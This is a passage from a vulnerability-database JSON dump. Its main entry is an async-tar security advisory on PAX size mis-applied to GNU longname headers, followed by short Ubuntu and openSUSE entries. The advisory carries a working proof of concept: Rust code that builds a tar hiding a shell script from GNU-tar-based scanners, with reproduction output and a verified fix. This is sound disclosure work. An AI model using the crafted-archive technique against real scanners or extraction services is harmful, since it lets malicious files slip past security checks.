rounding up by 512 bytes.\n    let size = (size + 511) \u0026 !(512 - 1);\n    *next += size;                                          // cursor advance = mis-applied PAX size\n```\n\nThe caller loop in `src/archive.rs` (`Entries::poll_next`) buffers a PAX local\nextension into `current_pax_extensions` and then calls `poll_next_raw` with\n`current_pax_extensions.as_deref()` for the *next* raw header. When that next\nraw header is an intermediary GNU longname (handled by the `is_gnu_longname()`\nbranch a few lines later), the PAX `size` is applied to it, so `*next` advances by\nthe spoofed size rather than the `L` header's own declared size. That is the\ndesync.\n\nThe buffered PAX records are intended to apply only to the following *file*\nentry; the missing check is whether the raw header currently being sized is itself\nan extension header (`L`/`K`/`x`/`g`).\n\n## Impact\n\nDifferential extraction / entry smuggling. A consumer that extracts an\nattacker-influenced tar stream with `async-tar` (e.g. a server endpoint that\nunpacks an uploaded `.tar`/`.tar.gz`, a dependency/artifact fetcher that unpacks\na remote tarball, an archive-preview/scan pipeline) will:\n\n- materialize files / file contents that a POSIX-correct parser (GNU tar,\n  libarchive/bsdtar) does not surface, and\n- omit or alter files that the reference parser does surface.\n\nThis breaks any security control that relies on scanning the archive with one\nparser and extracting with `async-tar`: a malware/secret scanner reading the\nstream with GNU tar can be made to see only benign data while `async-tar` writes\nan executable payload to disk. It can also be used to hide entries from\naudit/inventory tooling, or to write content to a path the reviewer believes\nholds something else. No attacker-controlled local state is required — only the\nability to influence the bytes of the tar stream that the consumer extracts.\n\n## How input reaches the sink (reachability)\n\nThe vulnerable path is the library's primary public API for reading archives:\n`Archive::new(reader).entries()` returns an `Entries` stream whose `poll_next`\ndrives `poll_next_raw` for every header. Any consumer that iterates entries (or\ncalls `unpack`/`unpack_in` on them) of an attacker-influenced tar stream reaches\nthe sink with no additional configuration. The `reader` need not be a file — it is\nany `AsyncRead`, so an upload buffer, an HTTP response body, or a decompressor\noutput all qualify. The only precondition for the desync is that the stream\ncontain a PAX local-extension header (`x`) carrying a `size` record immediately\nfollowed by an intermediary GNU longname (`L`) before the next file header — a\nstructure the attacker fully controls in the archive bytes. Representative\nreachable consumers are server endpoints that unpack uploaded `.tar`/`.tar.gz`\nbodies, dependency/artifact fetchers that unpack remote tarballs, and\narchive-scan/preview pipelines.\n\n## Proof of concept\n\nA standalone Rust consumer binary that links the published crates.io\n`async-tar = \"=0.6.0\"` (`default-features = false, features = [\"runtime-tokio\"]`)\nand runs the real `Archive::new(...).entries()` extraction loop (the same shape\nused by real downstream server consumers that unpack uploaded tarballs). It reads\na tar file and writes each entry to a destination directory, printing the entry\nlist `async-tar` surfaces. A second binary hand-crafts the malicious and benign\ntar byte streams.\n\nMalicious archive geometry (block = 512 bytes):\n\n```\nB0  x  PAX local-extension header, records declare size=1024 (= 2 blocks)\nB1     PAX records  (\"\u003clen\u003e size=1024\\n\")\nB2  L  GNU longname header, OWN declared size = 512 (= 1 block)\nB3     longname block #1  = \"GNU_SEES_THIS.txt\\0...\"   (the name GNU tar uses)\nB4     a normal file header \"placeholder_A\" (size 512)\nB5     \u003c-- this block IS a valid tar header for the smuggled file\n           \"hidden_payload.sh\" (size 65)\nB6     smuggled payload  \"#!/bin/sh\\n# SMUGGLED ENTRY...\\n\"\nB7,B8  two zero blocks (EOF)\n```\n\nGNU tar honours the `L` header's own declared size (1 block) for the longname and\nignores the buffered PAX `size`, so it reads B3 as the longname, treats B4 as the\nfile, and reads B5 as that file's opaque data. `async-tar` mis-applies the PAX\n`size` (2 blocks) to the `L` header, reads B3+B4 as the longname, lands its cursor\non B5, parses it as a tar header, and extracts the smuggled `hidden_payload.sh`\nbody (B6).\n\nTar-builder source (`mktar.rs`):\n\n```rust\nuse std::io::Write;\nconst BLOCK: usize = 512;\n\nfn octal(buf: \u0026mut [u8], v: u64) {\n    let s = format!(\"{:0width$o}\", v, width = buf.len() - 1);\n    let b = s.as_bytes();\n    buf[..b.len()].copy_from_slice(b);\n    buf[b.len()] = 0;\n}\n\nfn header(name: \u0026[u8], size: u64, typeflag: u8) -\u003e [u8; BLOCK] {\n    let mut h = [0u8; BLOCK];\n    let n = name.len().min(100);\n    h[..n].copy_from_slice(\u0026name[..n]);\n    octal(\u0026mut h[100..108], 0o644);\n    octal(\u0026mut h[108..116], 0);\n    octal(\u0026mut h[116..124], 0);\n    octal(\u0026mut h[124..136], size);\n    octal(\u0026mut h[136..148], 0);\n    h[156] = typeflag;\n    if typeflag == b'L' { h[257..265].copy_from_slice(b\"ustar  \\0\"); }\n    else { h[257..263].copy_from_slice(b\"ustar\\0\"); h[263..265].copy_from_slice(b\"00\"); }\n    for b in \u0026mut h[148..156] { *b = b' '; }\n    let sum: u32 = h.iter().map(|b| *b as u32).sum();\n    h[148..156].copy_from_slice(format!(\"{:06o}\\0 \", sum).as_bytes());\n    h\n}\n\nfn pad(out: \u0026mut Vec\u003cu8\u003e, len: usize) {\n    let rem = len % BLOCK;\n    if rem != 0 { out.extend(std::iter::repeat(0u8).take(BLOCK - rem)); }\n}\nfn pax_record(key: \u0026str, val: \u0026str) -\u003e Vec\u003cu8\u003e {\n    let mut len = key.len() + val.len() + 3;\n    loop {\n        let s = format!(\"{} {}={}\\n\", len, key, val);\n        if s.len() == len { return s.into_bytes(); }\n        len = s.len();\n    }\n}\nfn name_block(name: \u0026[u8]) -\u003e Vec\u003cu8\u003e { let mut b = vec![0u8; BLOCK]; b[..name.len()].copy_from_slice(name); b }\nfn write_block(out: \u0026mut Vec\u003cu8\u003e, data: \u0026[u8]) { out.extend_from_slice(data); pad(out, data.len()); }\n\nfn build_malicious() -\u003e Vec\u003cu8\u003e {\n    let mut out = Vec::new();\n    let gnu_name = b\"GNU_SEES_THIS.txt\";\n    let spoof = (BLOCK * 2) as u64;\n    let mut recs = Vec::new();\n    recs.extend(pax_record(\"size\", \u0026spoof.to_string()));\n    out.extend_from_slice(\u0026header(b\"./PaxHeaders/0\", recs.len() as u64, b'x'));\n    write_block(\u0026mut out, \u0026recs);\n    out.extend_from_slice(\u0026header(b\"././@LongLink\", BLOCK as u64, b'L'));\n    out.extend_from_slice(\u0026name_block(gnu_name));                 // B3\n    out.extend_from_slice(\u0026header(b\"placeholder_A\", BLOCK as u64, b'0')); // B4\n    let smuggled_body = b\"#!/bin/sh\\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\\n\".to_vec();\n    out.extend_from_slice(\u0026header(b\"hidden_payload.sh\", smuggled_body.len() as u64, b'0')); // B5\n    write_block(\u0026mut out, \u0026smuggled_body);                        // B6\n    out.extend(std::iter::repeat(0u8).take(BLOCK * 2));\n    out\n}\n\nfn build_benign() -\u003e Vec\u003cu8\u003e {\n    let mut out = Vec::new();\n    let mut recs = Vec::new();\n    recs.extend(pax_record(\"path\", \"normal_file.txt\"));\n    out.extend_from_slice(\u0026header(b\"./PaxHeaders/0\", recs.len() as u64, b'x'));\n    write_block(\u0026mut out, \u0026recs);\n    let body = b\"plain benign content\\n\".to_vec();\n    out.extend_from_slice(\u0026header(b\"normal_file.txt\", body.len() as u64, b'0'));\n    write_block(\u0026mut out, \u0026body);\n    let body2 = b\"second benign file\\n\".to_vec();\n    out.extend_from_slice(\u0026header(b\"second.txt\", body2.len() as u64, b'0'));\n    write_block(\u0026mut out, \u0026body2);\n    out.extend(std::iter::repeat(0u8).take(BLOCK * 2));\n    out\n}\n\nfn main() {\n    let a: Vec\u003cString\u003e = std::env::args().collect();\n    let bytes = match a[1].as_str() { \"malicious\" =\u003e build_malicious(), \"benign\" =\u003e build_benign(), _ =\u003e std::process::exit(2) };\n    std::fs::File::create(\u0026a[2]).unwrap().write_all(\u0026bytes).unwrap();\n}\n```\n\nConsumer source (`main.rs`, mirrors a real `Archive::entries()` extraction loop):\n\n```rust\nuse async_tar::Archive;\nuse tokio::fs;\nuse tokio::io::AsyncReadExt;\nuse tokio_stream::StreamExt;\n\n#[tokio::main(flavor = \"multi_thread\", worker_threads = 2)]\nasync fn main() {\n    let args: Vec\u003cString\u003e = std::env::args().collect();\n    let dest = std::path::PathBuf::from(\u0026args[2]);\n    fs::create_dir_all(\u0026dest).await.unwrap();\n    let bytes = fs::read(\u0026args[1]).await.unwrap();\n    let archive = Archive::new(std::io::Cursor::new(bytes));\n    let mut entries = archive.entries().expect(\"entries()\");\n    let mut idx = 0usize;\n    while let Some(entry) = entries.next().await {\n        let mut file = match entry { Ok(f) =\u003e f, Err(e) =\u003e { println!(\"[async-tar] ERROR: {e}\"); break } };\n        let path_raw = file.path().expect(\"path\").into_owned();\n        let path_disp = path_raw.to_string_lossy().split('\\u{0}').next().unwrap_or(\"\").to_string();\n        let hdr_size = file.header().size().unwrap_or(0);\n        let mut out = dest.clone();\n        for comp in std::path::PathBuf::from(\u0026path_disp).components() {\n            if let std::path::Component::Normal(p) = comp { out.push(p); }\n        }\n        let mut body = Vec::new();\n        let read = file.read_to_end(\u0026mut body).await.unwrap_or(0);\n        if let Some(parent) = out.parent() { let _ = fs::create_dir_all(parent).await; }\n        let _ = fs::write(\u0026out, \u0026body).await;\n        let preview: String = body.iter().take(48)\n            .map(|b| if b.is_ascii_graphic() || *b == b' ' { *b as char } else { '.' }).collect();\n        println!(\"[async-tar] entry#{idx} path={:?} hdr_size={hdr_size} bytes_read={read} body=\\\"{preview}\\\"\", path_disp);\n        idx += 1;\n    }\n    println!(\"[async-tar] total entries surfaced: {idx}\");\n}\n```\n\n`Cargo.toml`:\n\n```toml\n[dependencies]\nasync-tar = { version = \"=0.6.0\", default-features = false, features = [\"runtime-tokio\"] }\ntokio = { version = \"1\", features = [\"rt-multi-thread\", \"macros\", \"io-util\", \"fs\"] }\ntokio-stream = \"0.1\"\nfutures = \"0.3\"\n```\n\n## End-to-end reproduction\n\nReference parser: GNU tar 1.35. async-tar: the v0.6.0 crates.io release linked by\nthe consumer binary above. Verbatim captured output:\n\n```\n$ cargo build --release        # links async-tar v0.6.0 from crates.io\n   Compiling async-tar v0.6.0\n   Compiling async-tar-consumer v0.1.0\n    Finished `release` profile [optimized] target(s) in 10.12s\n\n$ ./target/release/mktar malicious mal.tar\nwrote 4608 bytes to mal.tar\n\n# ---- (A) GNU tar reference: list + extract ----\n$ gtar tvf mal.tar ; echo \"rc=$?\"\n-rw-r--r-- 0/0            1024 1970-01-01 08:00 GNU_SEES_THIS.txt\nrc=0\n$ gtar xf mal.tar -C /tmp/gnu_x ; echo \"rc=$?\"\nrc=0\n$ head -c 80 /tmp/gnu_x/GNU_SEES_THIS.txt\nhidden_payload.sh\n# (GNU tar surfaces ONE file, 1024 bytes; its data is the opaque tar-header\n#  bytes of B5 — a GNU-tar-based scanner sees only benign noise.)\n\n# ---- (B) async-tar v0.6.0 consumer: extract ----\n$ ./target/release/extract mal.tar /tmp/at_mal\n[async-tar] entry#0 path=\"GNU_SEES_THIS.txt\" hdr_size=65 bytes_read=1024 body=\"#!/bin/sh.# SMUGGLED ENTRY: invisible to a GNU-t\"\n[async-tar] total entries surfaced: 1\n$ head -c 80 /tmp/at_mal/GNU_SEES_THIS.txt\n#!/bin/sh\n# SMUGGLED ENTRY: invisible to a GNU-tar-based scanner\n```\n\nSame bytes, two parsers, different on-disk result: GNU tar writes a 1024-byte\nbenign blob; `async-tar` writes a 65-byte executable shell script that the\nreference parser never exposes as an entry. The smuggled `#!/bin/sh` body is\ncontent a GNU-tar-based scanner would never inspect.\n\nNegative control — a benign archive (correct PAX usage: `x` applies `path` to the\nfollowing file, no intermediary `L`):\n\n```\n$ ./target/release/mktar benign ben.tar\n$ gtar tvf ben.tar ; echo \"rc=$?\"\n-rw-r--r-- 0/0              21 1970-01-01 08:00 normal_file.txt\n-rw-r--r-- 0/0              19 1970-01-01 08:00 second.txt\nrc=0\n$ ./target/release/extract ben.tar /tmp/at_ben\n[async-tar] entry#0 path=\"normal_file.txt\" hdr_size=21 bytes_read=21 body=\"plain benign content.\"\n[async-tar] entry#1 path=\"second.txt\" hdr_size=19 bytes_read=19 body=\"second benign file.\"\n[async-tar] total entries surfaced: 2\n```\n\nGNU tar and `async-tar` produce identical entry lists and identical on-disk files.\nNo smuggling. The differential is exclusive to the `x → L → file` desync sequence.\n\n## Fix\n\nApply the buffered PAX records (and the `size`/`uid`/`gid` overrides) only when\nthe raw header being sized is NOT itself an extension header. Skip the override\nfor GNU longname (`L`), GNU longlink (`K`), and PAX local/global (`x`/`g`) headers,\nwhose body length must come from their own declared size. This mirrors the fix\nadopted in the upstream tar-rs / tokio-tar lineage for the same defect class.\n\n```rust\n    // when pax extensions are available, the size should come from there.\n    let mut size = header.entry_size()?;\n\n    // PAX extensions describe the NEXT file entry, not an intermediary\n    // extension header. Applying a buffered PAX `size` to such an intermediary\n    // header (L/K/x/g) advances the stream cursor by the wrong amount and\n    // desyncs the parse.\n    let entry_type = header.entry_type();\n    let is_extension_header = entry_type.is_gnu_longname()\n        || entry_type.is_gnu_longlink()\n        || entry_type.is_pax_local_extensions()\n        || entry_type.is_pax_global_extensions();\n\n    // the size above will be overriden by the pax data if it has a size field.\n    // same for uid and gid, which will be overridden in the header itself.\n    if let Some(pax_extensions_data) = pax_extensions_data.filter(|_| !is_extension_header) {\n        let pax = pax_extensions(pax_extensions_data);\n        for extension in pax {\n            // unchanged: same size/uid/gid override loop as before\n        }\n    }\n```\n\nFix-verify, captured verbatim. The patched `async-tar` (guard added) re-run\nagainst the same `mal.tar`:\n\n```\n$ cargo build --release        # [patch.crates-io] async-tar = { path = \"../async-tar-patched\" }\n   Compiling async-tar v0.6.0 (.../async-tar-patched)\n   Compiling async-tar-consumer v0.1.0\n    Finished `release` profile [optimized] target(s)\n$ ./target/release/extract mal.tar /tmp/at_fix\n[async-tar] entry#0 path=\"GNU_SEES_THIS.txt\" hdr_size=512 bytes_read=1024 body=\"hidden_payload.sh...............................\"\n[async-tar] total entries surfaced: 1\n$ head -c 80 /tmp/at_fix/GNU_SEES_THIS.txt\nhidden_payload.sh\n```\n\nWith the guard, `async-tar`'s view converges with GNU tar's: it surfaces\n`GNU_SEES_THIS.txt` with the opaque B5 bytes (`hidden_payload.sh...`) as data, and\nno longer extracts the smuggled executable script. The benign control still\nproduces the correct two-file output. The desync is eliminated.\n\n## Fix PR\n\nA fix PR adding the `is_extension_header` guard to `poll_next_raw` in\n`src/archive.rs` is opened from the advisory's temporary private fork against this\nrepository. It carries the diff shown in the **Fix** section above (no behavioural\nchange for well-formed archives; only intermediary `L`/`K`/`x`/`g` headers stop\ninheriting a following PAX `size`).\n\n## Credit\n\nReported by tonghuaroot.","status":"published","published":"2026-07-08T20:24:12Z","modified":"2026-09-10T03:50:51.346352208Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-20","CWE-843"],"updated_at":"2026-11-02T15:46:35.406455Z"},{"id":"UBUNTU-CVE-2026-53600","description":"async-tar is a tar archive reading/writing library for async Rust. Prior to version 0.6.1, async-tar mis-applies a buffered PAX size extension to an intermediary extension header (a GNU longname L, a GNU longlink K, or a PAX x/g header) instead of to the next file entry. POSIX requires a PAX extended-header record set to describe the next file entry, never an intervening extension header. Because poll_next_raw (src/archive.rs) threads the buffered PAX records into the size computation of whatever raw header it reads next — and that header can be an intermediary L — the stream cursor is advanced by an attacker-chosen amount when the L body is consumed. The parser then desyncs relative to a POSIX-correct tar parser (e.g. GNU tar), reading subsequent bytes at the wrong block boundary. This issue has been patched in version 0.6.1.","status":"published","published":"2026-09-02T16:17:00Z","modified":"2026-09-16T11:36:38Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T16:56:41.382716Z"},{"id":"openSUSE-SU-2026:12355-1","title":"zed-1.24.2-1.1 on GA media","description":"These are all security issues fixed in the zed-1.24.2-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-29T00:00:00Z","modified":"2026-10-31T18:00:05.930167365Z","updated_at":"2026-11-02T16:58:41.463445Z"}]}}
